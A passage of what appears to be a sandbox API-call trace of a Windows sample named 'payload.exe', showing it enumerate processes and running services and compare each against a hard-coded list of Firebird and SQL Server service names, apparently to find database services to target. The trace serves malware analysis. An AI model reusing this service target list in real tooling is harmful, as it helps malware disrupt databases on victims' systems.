cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0156.382] lstrlenW (lpString="SearchUI.exe") returned 12 [0156.382] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0156.382] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0156.382] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0156.383] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0156.383] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0156.383] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0156.383] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0156.384] lstrlenW (lpString="payload.exe") returned 11 [0156.384] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0156.385] lstrlenW (lpString="cmd.exe") returned 7 [0156.385] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0156.385] lstrlenW (lpString="conhost.exe") returned 11 [0156.385] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0156.386] lstrlenW (lpString="mode.com") returned 8 [0156.386] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0156.386] CloseHandle (hObject=0x358) returned 1 [0156.386] Sleep (dwMilliseconds=0x1f4) [0157.216] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dab0 [0157.217] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0157.217] GetLastError () returned 0xea [0157.217] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x42479b0 [0157.217] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42479b0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42479b0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0157.218] CloseServiceHandle (hSCObject=0x69dab0) returned 1 [0157.218] lstrlenW (lpString="Appinfo") returned 7 [0157.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.218] lstrlenW (lpString="AppXSvc") returned 7 [0157.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0157.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0157.218] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0157.219] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.219] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.219] lstrlenW (lpString="Audiosrv") returned 8 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0157.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0157.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0157.219] lstrlenW (lpString="BFE") returned 3 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.219] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.219] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.219] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0157.219] lstrlenW (lpString="CDPSvc") returned 6 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0157.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0157.219] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0157.219] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0157.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0157.219] lstrlenW (lpString="ClickToRunSvc") returned 13 [0157.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0157.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0157.220] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0157.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0157.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0157.220] lstrlenW (lpString="CryptSvc") returned 8 [0157.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.220] lstrlenW (lpString="DcomLaunch") returned 10 [0157.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.220] lstrlenW (lpString="DeviceAssociationService") returned 24 [0157.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0157.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0157.220] lstrlenW (lpString="Dhcp") returned 4 [0157.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.221] lstrlenW (lpString="Dnscache") returned 8 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.221] lstrlenW (lpString="DPS") returned 3 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.221] lstrlenW (lpString="DusmSvc") returned 7 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0157.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0157.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0157.221] lstrlenW (lpString="EventLog") returned 8 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0157.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0157.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0157.221] lstrlenW (lpString="EventSystem") returned 11 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.221] lstrlenW (lpString="FontCache") returned 9 [0157.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0157.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0157.222] lstrlenW (lpString="gpsvc") returned 5 [0157.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.222] lstrlenW (lpString="iphlpsvc") returned 8 [0157.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.222] lstrlenW (lpString="KeyIso") returned 6 [0157.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0157.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0157.222] lstrlenW (lpString="LanmanServer") returned 12 [0157.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.222] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.222] lstrlenW (lpString="lfsvc") returned 5 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0157.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0157.223] lstrlenW (lpString="lmhosts") returned 7 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.223] lstrlenW (lpString="LSM") returned 3 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0157.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0157.223] lstrlenW (lpString="MpsSvc") returned 6 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.223] lstrlenW (lpString="NcbService") returned 10 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0157.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0157.223] lstrlenW (lpString="netprofm") returned 8 [0157.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.223] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.223] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.224] lstrlenW (lpString="NgcSvc") returned 6 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0157.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0157.224] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0157.224] lstrlenW (lpString="NlaSvc") returned 6 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.224] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.224] lstrlenW (lpString="nsi") returned 3 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.224] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.224] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.224] lstrlenW (lpString="PcaSvc") returned 6 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.224] lstrlenW (lpString="PlugPlay") returned 8 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.224] lstrlenW (lpString="Power") returned 5 [0157.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.225] lstrlenW (lpString="ProfSvc") returned 7 [0157.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.350] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.350] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.350] lstrlenW (lpString="RpcSs") returned 5 [0157.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.350] lstrlenW (lpString="SamSs") returned 5 [0157.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.351] lstrlenW (lpString="Schedule") returned 8 [0157.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.351] lstrlenW (lpString="SecurityHealthService") returned 21 [0157.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0157.351] lstrlenW (lpString="SENS") returned 4 [0157.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.351] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.351] lstrlenW (lpString="Spooler") returned 7 [0157.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.352] lstrlenW (lpString="StateRepository") returned 15 [0157.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0157.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0157.352] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0157.352] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0157.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0157.352] lstrlenW (lpString="SysMain") returned 7 [0157.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.352] lstrcmpiW 